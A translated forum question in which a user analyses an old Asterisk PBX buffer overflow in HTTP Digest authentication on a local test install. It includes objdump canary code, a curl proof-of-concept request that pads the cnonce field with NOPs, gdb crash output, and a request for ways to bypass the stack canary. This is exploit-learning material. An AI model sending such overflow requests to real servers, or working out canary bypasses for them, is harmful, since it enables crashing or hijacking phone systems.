Можно ли обойти проверку стека канарейки? - PullRequest
0 голосов
/ 29 декабря 2018

Я углублюсь в старую уязвимость, обнаруженную в Asterisk PBX, просто чтобы понять, как это работает.Это описание недостатка: "В соответствии с версией, указанной в его баннере SIP, версия Asterisk, работающая на удаленном хосте, потенциально подвержена уязвимости, которая может позволить удаленному злоумышленнику вывести сервер из строя или, возможно, внедрить его.произвольный код, отправив произвольно длинное строковое значение для дайджест-аутентификации HTTP. "

Я установил уязвимую звездочку, и это следующие меры защиты:

#/usr/bin/hardening-check $(which asterisk)
 /usr/sbin/asterisk:
  Position Independent Executable: no, normal executable!
  Stack protected: yes
  Fortify Source functions: yes (some protected functions found)
  Read-only relocations: yes
  Immediate binding: no, not found!

Меня привлеклоЗащита стека и это краткое описание анализа.Из objdump уязвимой функции (называемой ast_parse_digest) фактический канарский код стека выглядит следующим образом:

mov    %gs:0x14,%eax
mov    %eax,-0xc(%ebp)
xor    %eax,%eax
(These are the 3 code lines during the prologue of the function)

Я могу заметить, что канарское значение записывается в стек в ebp-12 (-0xc => -12), я опробую это позже с GDB.До того, как произойдет эпилог функции, будет выполнена проверка стека канарейки, это можно прочитать из кода:

mov    -0xc(%ebp),%ebx
xor    %gs:0x14,%ebx
je     819daa7 <ast_parse_digest+0x12d8>
call   80601a0 <__stack_chk_fail@plt> 
(Therefore if the check fails a call to __stack_chk_fail takes place)

Теперь пришло время поиграть с gdb и посмотреть, когда канарейка перезаписывается нашим эксплойтом.Этот эксплойт просто отправляет HTTP-запрос уязвимому серверу:

#curl -v http://127.0.0.1:8088/asterisk/amxml -H "Authorization: Digest username="user",realm="realm",nonce="AAAAAAAA",uri="/asterisk/amxml",algorithm=MD5,response="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",opaque="CCCCCCCC",qop="auth",nc="DDDDDDDD",cnonce=$var"

, где для переменной $ var (в конце curl) было установлено значение 516 NOP для доступа к канарейке:

#var="$(python -c 'print 516*"\x90"')"

При выполнении эксплойта обнаружено разрушение стека. Это строки из backtrace.txt:

Core was generated by `/usr/sbin/asterisk -g'.
Program terminated with signal SIGABRT, Aborted.
#0  0xb77bfcf9 in ?? ()
#0  0xb77bfcf9 in ?? ()
No symbol table info available.
#1  0xb74ee03b in __GI___fortify_fail (msg=<optimized out>,    msg@entry=0xb7555960 "stack smashing detected") at fortify_fail.c:38
    do_abort = 63
#2  0xb74edfca in __stack_chk_fail () at stack_chk_fail.c:28
No locals.
#3  0x0819daa7 in ast_parse_digest (digest=0xfe33e7e "Digest  username=user,realm=realm,nonce=AAAAAAAA,uri=/asterisk/amxml,algorithm=MD5,response=", 'B' <repeats 32 times>, ",opaque=CCCCCCCC,qop=$
    i = 516
    c = 0xfe345cb ""
    key = "cnonce\000e", '\000' <repeats 503 times>
    val = '\220' <repeats 512 times>
    str = 0xfe34310
    __PRETTY_FUNCTION__ = "ast_parse_digest"

После подтверждения вызова функции __stack_chk_fail я проверил файл ядра, созданный с помощью gdb.Далее следуют шаги, чтобы показать, как выглядит стек после smash:

#frame 3
#(gdb) x/x $ebp
# 0xb5a24888:   0xb5a25048 
#(gdb) x/x $ebp-4
# 0xb5a24884:   0xb5a24c30
#(gdb) x/x $ebp-8
# 0xb5a24880:   0x00000000
#(gdb) x/x $ebp-12
# 0xb5a2487c:   0x90909090  
(Note: 516 was the minimum number of NOPs to get to the stack smashing)

Это подтверждает, что канарейка стека была написана на ebp-12;также NULL байт был добавлен после канарейки стека, чтобы улучшить закаливание, я полагаю.

Мой вопрос: в этой ситуации все еще возможно обойти проверку канареек?Какой следующий шаг я должен сделать?Любое предложение или ссылка на какой-либо полезный документ ценится.

...